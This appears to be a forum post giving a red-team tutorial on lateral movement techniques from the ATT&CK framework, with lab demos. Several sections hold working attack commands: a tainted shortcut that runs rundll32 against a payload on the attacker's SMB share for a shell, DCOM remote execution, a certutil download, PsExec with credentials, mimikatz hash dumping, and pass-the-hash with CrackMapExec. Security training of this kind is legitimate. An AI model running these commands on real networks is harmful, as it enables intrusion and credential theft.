Pentest Red Team Techniques - Lateral Movement

[dEEpEst]

Lateral Movement​

The adversary is trying to move through your environment

Lateral Movement consists of techniques that adversaries use to enter and control remote systems on a network. Following through on their primary objective often requires exploring the network to find their target and subsequently gaining access to it. Reaching their objective often involves pivoting through multiple systems and accounts to gain. Adversaries might install their own remote access tools to accomplish Lateral Movement or use legitimate credentials with native network and operating system tools, which may be stealthier.

 

[dEEpEst]

Taint Shared Content​

Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.

A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses Shortcut Modification of directory .LNK files that use Masquerading to look like real directories, which are hidden through Hidden Files and Directories. The malicious .LNK-based directories have embedded command that executes the hidden malware file in the directory and the opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts.

Adversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.

Example

A way to demonstrate this technique is commonly by tainting a Shared Folder it's very common for domain users to have access to a folder where everyone has access to it, and modify as they need to update files. Now it sounds like a great workflow but it has a security issue.

Everyone can ADD or MODIFY anything

For example we have our Legitimate Login Portal Shortcut for everyone to access their email on our Temp Share available from the Desktop-Alpha. But here we have changed the properties to have it point to our payload in this case hosted on an SMBSERVER from our attacking machine and use rundll32 to execute.

Rundll32.exe \\[IP]\Share\payloadx64.dll,Control_Run

Now with execution we receive a shell on our attacking machine

Above we see our shell getting executed and receiving a connection from the new machine since we were previously located on Desktop-Alpha

This link is hidden for visitors. Please Log in or register now.

 

[dEEpEst]

Software Deployment Tools​

Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.).

Access to third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.

The permission required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require administrative account to log in or to perform it's intended purpose.

We have demonstrated this with VNC third party tool

 

[dEEpEst]

Remote Services​

Adversaries may use Valid Accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.

In an enterprise environments, servers and workstations can be organized into domains. Domain provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid credentials, they could login to many different machines using remote access protocols such as secure shell(SSH) or remote desktop protocol (RDP).

 

[dEEpEst]

Windows Remote Management​

Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.

WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system(e.g., run an executable, modify the Registry, modify services). It may be called with the winrm command or by any number of programs such as PowerShell.

Example

Here we have a technique that will allow us to lateral move onto a different machine using he WinRM service, this can be easily taken advantage with the use of PowerShell

We can verify if this is available on our target with the Test-WsMan Cmdlet

Usually Administrators can log in to a workstation where they have administrator privileges or sometimes we can find users that have this privileges as well.

Now will remote onto the target machine, assuming we have credentials

And Login successfully

 

[dEEpEst]

VNC​

Adversaries may use Valid Accounts to remotely control machines using Virtual Network Computing(VNC). The adversary may then perform actions as the logged-on user.

VNC is a desktop sharing system that allows users to remotely control another computer's display by relaying mouse and keyboard inputs over the network. VNC does not necessarily use standard user credentials. Instead, a VNC client and server may be configured with sets of credentials that are only for VNC connections.

Example

We will encounter sometimes options where RDP is not available but we do have another form of GUI interface named VNC.

Above we require to have credentials (TIGHTVNC requires Remote Credentials only No username)

 

[dEEpEst]

Distributed Component Object Model​

Adversaries may use Valid Accounts to interact with remote machines by taking advantage of Distributed Component Object Model(DCOM). The adversary may then perform actions as the logged-on user.

The Windows Component Object Model(COM) is a component of the native Windows application programming interface(API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries(DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.

Permissions to interact with local and remote server COM objects are specified by access control lists(ACL) in the Registry. By default, only Administrators may remotely activate and launch COM objects through DCOM.

Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications as well as other Windows objects that contain insecure methods. DCOM can also execute macros in existing documents and may also invoke Dynamic Data Exchange(DDE) execution directly through a COM created instance of a Microsoft Office application bypassing the need for a malicious document.

Example

Component Object Model (COM) is a protocol used by processes with different applications and languages so they communicate with one another. COM objects cannot be used over a network, which introduced the Distributed COM (DCOM) protocol Matt Nelson discovered a lateral movement technique via DCOM, using the ExecuteShellCommand Method in the Microsoft Management Console (MMC) 2.0 scripting object model which is used for System Management Server administrative functions.

COM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). DCOM is transparent middle ware that extends the functionality of Component Object Model (COM) beyond a local computer using remote procedure call (RPC) technology.

So let's work on a quick technique, I will execute the calculator on the remote host using DCOM.The user will need Admin privileges on the Host machine to access the MMC 2.0 method and also Admin privileges on the Remote machine to execute.

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET IP"))

$com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\Calc.exe",$null,$null,"7")

DCOM Demo

 

[dEEpEst]

SMB/Windows Admin Shares​

Adversaries may use Valid Accounts to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.

SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.

Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include, C$, ADMIN$, and IPC$. Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a network system over SMB, to interact with systems using remote procedure calls (RPCs), transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task/Job, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels.

Example

Windows system have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$, ADMIN$ , and IPC$.

Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over server message block (SMB) to interact with systems using remote procedure calls (RPCs), transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task, Service Execution, and Windows management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration patch levels.

The Net utility can be used to connect to Windows admin shares on remote systems using net use commands with valid credentials.

In this first example our Adversary has gain a shell on the Network, Enumerated and Dumped Credentials. But now he need's to move laterally on the network, to pivot between machines and find more info in the environment, in here comes a great Tools a Windows signed binary called PsExec.exe, It comes from the Microsoft Sysinternal Suite and allows user to execute PowerShell ( or cmd) on remote hosts on Port 445 (SMB) using named pipes. It first connects to the ADMIN$ share on the target over SMB, uploads PSEXESVC.EXE and uses Service Control Manager to start the .exe, which creates a named pipe on the remote system, and finally uses that pipe for I\O (Input and Output).

As we still want to be as stealthy as possible I used a Windows Tool to download the EXE.

certutil.exe -urlcache -split -f

This link is hidden for visitors. Please Log in or register now.

PsExec64.exe

First I will see where am I located.

For the sake of this Demo I have all the creds, and Computer's I want to, and can access to.

Now let's use PsExec to get access to another machine, my current location is DESKTOP-CHARLIE and I will move to DESKTOP-DELTA.

Once PsExec is dropped onto the Target machine and gathered the necessary credentials we can move laterally onto a different host, with the following syntax we can call CMD to execute on the Remote Machine.

Currently I am located in Charlie:

And my Target is the Delta Machine

I will use the following syntax to catch a shell

PsExec64.exe \\192.168.1.240 -u David -p Password1 cmd

Windows Admin Shares PSEXEC Demo

Also we can use the net shareand net use commands this technique is not necessarily a shell gain on the machine, since we have the proper permissions for this share we can Mount it on our local machine and view file's just as if we were on the machine itself, but be wary this will not help in enumerating the "remote machine" as this only gives us read/write access onto a share and it's files we don't necessarily have a session on the remote machine, but with this in mind we can copy a binary on the shares mounted and use other techniques such as a Remote Task to execute this binary and gain a shell on the remote machine.

In the following I will mount a share on the Controlled machine and I will explore the share from a remote PC and here as from here can also READ/WRITE Files.

From CHARLIE Machine I will mount DELTA share and find a proof.txt file to demonstrate my technique on moving onto a different share, but as we can remember enumeration will not work as we still need to execute the binary on the remote machine and not from the shell session itself as we will still be the user that executes it.

With net share we can see the available shares to discover and view.

We currently hold the credentials for the user's in DELTA so we will use David again to mount a share and start discovering more interesting file's on the Remote PC with ever executing code in the remote machine. You will be asked

for credentials just provided them and it will be good.

Will check the Share.

Viewing the Folders in the remote share.

And we can verify that we can Read Files and WRITE on the remote shares that is currently available.

Now what about catching a shell on the Remote system if we have this type of access? Well a known way is to copy a binary on the remote host and execute a remote task or the use of WMI both are valid here.

First let's Catch a shell from a Kali box and work from there.

I created a new binary that connects back to 1338 port, let's see that our share is currently connected.

And copy it to a Folder that David can owns for now I will move this to the Desktop Folder. I downloaded a new binary

onto the folder I slightly changed the name and the port it connects back to is port 1338.

Then from the command prompt we can copy the binary onto the Share and execute it, but how do we execute a remote binary so that we are currently on that machine instead of still being the current user? Well we can create a remote task or modify a remote service to catch the shell, we can also use WMI to execute a remote binary on a remote host.

Depending on where is your Binary located you would use copy BINARY_PATH TARGET_PATH

When you mount a share make sure to remember the Letter of the Drive you used, you wont be able to copy if you use a UNC Path [ \\DESKTOP-DELTA\ ]

WMIC Lateral Demo

Remember, here the User and credential's for the remote host are known, you will probably find alternatives on how to achieve this.

 

[dEEpEst]

Remote Desktop Protocol​

Adversaries may use Valid Accounts to log into a computer using Remote Desktop Protocol(RDP). The adversary may then perform actions as the logged-on user.

Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services(RDS).

Adversaries may connect to a remote system over RDP/RDS to expand access with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features technique for Persistence.

Example

For Demo purposes I will already have credentials available for this Technique (Do your proper enumeration to gain these)

We can see in our Images below that we gain access through RDP and then continue to a different Machine as well through RDP

 

[dEEpEst]

Remote Service Session Hijacking​

Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may user valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.

Adversaries may commandeer these sessions to carry out actions on remote systems. Remote Service Session hijacking differs from use of Remote Services because it hijacks an existing session rather than creating a new session using Valid Accounts.

 

[dEEpEst]

RDP Hijacking​

Adversaries may hijack a legitimate user's remote desktop session to move laterally within environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).

Adversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console. C:\Windows\System32\tscon.exe [session number to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user. This can be done remotely or locally and with active or disconnected session. It can also lead Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.

Example

It is possible to switch from one user's desktop to another through the use of tscon, this will require us to have

NT AUTHORITY/SYSTEM

Will first query users to check for any active sessions

Then we use the tscon utility to switch sessions that are currently available

And we manage to access another session

RDP-Hijacking Demo:

 

[dEEpEst]

Lateral Tool Transfer​

Adversaries may transfer tools or other files between systems in a compromised environment. Files may be copied from one system to another stage adversary tools or other files over the course of an operation. Adversaries may copy files laterally between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with SMB/Windows Admin Shares or Remote Desktop Protocol. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.

Example

On this Demo will demonstrate how we can use tools to Lateral Move around the Network.

CMD

CMD can be used to copy tools to/from a remote share, this is true and very easy assuming we have the correct permissions to copy stuff onto the share.

Above we see a small demo on how we can move our tools laterally using SMB Shares with the correct credentials and permissions, this can be used to replace files and wait for our victim to execute them and gain a shell on the Workstation.

Once the payload is executed we can capture the Shell and gain access to another workstation.

 

[dEEpEst]

Internal Spearphishing​

Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or system within the environment. Internal spearphishing is multi-staged attack where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.

Adversaries may leverage Spearphishing Attachment or Spearphishing Link as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through Input Capture on sites that mimic email login interfaces.

There have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process. The Syrian Electronic Army(SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the attack and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.

Example

Well this is absolutely self-explanatory and to be honest I don't even know how to setup some internal testing Email Service

 

[dEEpEst]

Exploitation of Remote Services​

Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.

An adversary may need to determine if the remote system is in a vulnerable state, which may be done through Network Service Scanning or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.

There are several well-known vulnerabilities that exist in common services such as SMB and RDP as well as applications that may be used within internal networks such as MySQL and web server services.

Depending on the permissions level of vulnerable remote service an adversary may achieve Exploitation for Privilege Escalation as a result of lateral movement as well.

Example

For this demonstration I will use a very well-known vulnerability EternalBlue(MS17-010) in this Demo I will gain access to 1 machine and them proxy onto another PC in the internal Network

Initial Access:

Currently we hold an Initial Access (Phishing) now we need to enumerate the environment and search for other Workstations in the Domain

We can use a command GetDomainComputer and find any workstations in the Domain and we find 3.

Now let's ping each of them to see which one is active. For Demo purposes we know it's Charlie.

A port scan gives us valuable information that the SMB port is open and listening

Now let's create a PortForwarding Connection from the victim machine and have access from our attacking Box to attack the Service, we can use the built-innetsh to achieve this

If there is a better way with other tools please do let me know as I am new to this myself LOL

##################################################

<strong>netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4000 connectaddress=10.0.2.18 connectport=445</strong>

##################################################

Once the Port forwarding is correct let us scan the machine and look for anything exploits.

This scan should be a good output but I couldn’t get these results please see the ones below this to see what I saw please do let me know how to achieve this

Above we see the result of an nmap scan giving us information on the Workstation, we know at this point that the machine is vulnerable to EternalBlue. And various other scan show promising results

Nmap

Amap

Now we exploit

And move to a different machine now, we can upgrade our shell to continue with Covenant as well.

 

[dEEpEst]

Use Alternate Authentication Material​

Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.



Authentication processes generally require a valid identity (e.g. username) along with one ore more authentication factors (e.g., password, pin, physical smart card, token, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identitiy and the required authentication factors(s). Alternate authentication material may also by generated during the identity creation process.

Caching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication facor(s). Because the alternate authentication must be maintained by the system--either in memeory or in disk--it may be at risk of being stolen through Credential Access techniques. By stealing alternate authentication material, adversaries are able to bypass system controls and authenticate to systems withoput knowing the plaintext password or any additional authentication facotrs.

 

[dEEpEst]

Pass the Ticket​

In this Technique, valid Kerberos tickets for Valid Accounts are captured by Credential Dumping. A user's service ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows foe access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.

 

[dEEpEst]

Pass the Hash​

Pass the hash (PtH) is a method of authenticating a user without having access to the user's clear-text password. This method bypasses standard authentication steps that require a clear text password, moving directly into the portion of the authentication that users the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access Technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.

Windows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes.

Some great tools for demonstration are Mimikatz, CrackMapExec, Empire, PsExec, and WMI.

In this demonstration I will use Mimikatz to pass the hash I will give a small demo with CrackMapExec and PSExec, and I will link great references on these other techniques and frameworks. Since they also work fine but some are louder and we are trying to not go for that( at least).

For Mimikatz here we will combine a few tools to grab hashes we can simply use an Administrator Log and from there dump hashes but also we can use an Administrator login and then use PSEXEC to escalate from Admin to SYSTEM and then Dump hashes.

In this section of the Demo, I will dump hashes with Mimikatz and then use PsExec to Move Laterally.

In the previous Image a used xfreerdp to connect to the target machine from here I proceeded to upload the tools necessary for PtH and lateral move, which will be mimikatz and PsExec.

I used the following syntax to dump hashes

mimikatz "privilege::debug::" "sekurlsa::logonpasswords" exit This will execute and exit since mimikatz start's its window and working from a shell is kinda buggy for now. So my option was to execute and exit.

Dumping hashes we see Ryan's NTLM Hash we can use this to authenticate as this user with plenty of tools. I'll continue with mimikatz and then move to others. Now here Ryan is an Administrator on DELTA. I will use PTT and then Log in to the Remote PC without ever using a clear-text password.

I will get an Access is denied error when I try to enumerate the c$ Share.

So how do we pass the hash with mimikatz. Well we continue with the following syntax "one-liner" will exit once executed:

mimikatz "privilege::debug" "sekurlsa:th /user:Ryan /domain:WORKGROUP /ntlm:09238831b1af5edab93c773f56409d96" exit

And we can now list the directories on the remote machine.

Great so an Example was made with Mimikatz to authenticate to a remote machine but let's demonstrate with other tools, In the next one I will use CrackMapExec amazing tool written in python and great for these situations for more info on

This link is hidden for visitors. Please Log in or register now.

. This amazing tool will be used to authenticate to SMB using the hash itself there are so many possibilities that can be done with this but I will focus on the Hash part only.

I will use Ryan's Hash to authenticate to the Machine using CrackMapExec.

crackmapexec smb 10.10.10.4 -u Ryan -H 09238831b1af5edab93c773f56409d96

You can also do it to the entire network.

Ryan is an Administrator in DESKTOP-DELTA, we can grab a shell on this machine from Kali we can use the Impacket tools, some examples are PSEXEC or WMIEXEC to pass the hash and grab a shell. A good rule of thumb is whenever there is a technique and it's Remote or anything that has to do with Remote 9/10 an Administrator is needed.

From here if you notice the wmiexec help menu you can see that it asks for LMHASH: NTHASH, but mimikatz only gives us the LM hash. No need to worry here usually the hash before: is an empty hash and doesn't show on mimikatz so it doesn't dump that, so to use wmiexec.py here we can just use the hash in this way: HASH

The same technique can be used when working with psexec.py we can pass a hash to authenticate and the extra on this tool is that once we log in as the Administrator it will privesc to SYSTEM for us by default.

Wikipedia's page states this reason why Pass The Hash works: Analysis of this mechanism has shown that the cleartext password is not required to complete network authentication successfully, only the hashes are needed.

So the reason is simple windows for Authentication don't authenticate with your password!!. It hashes first and then uses the hash for authentication at a Network Level.

You can't use the hash for authentication such as Logging In, or Running as Admin [UAC]. This is at a Network Level usually when it's authenticating Remotely.

This link is hidden for visitors. Please Log in or register now.

This link is hidden for visitors. Please Log in or register now.

This link is hidden for visitors. Please Log in or register now.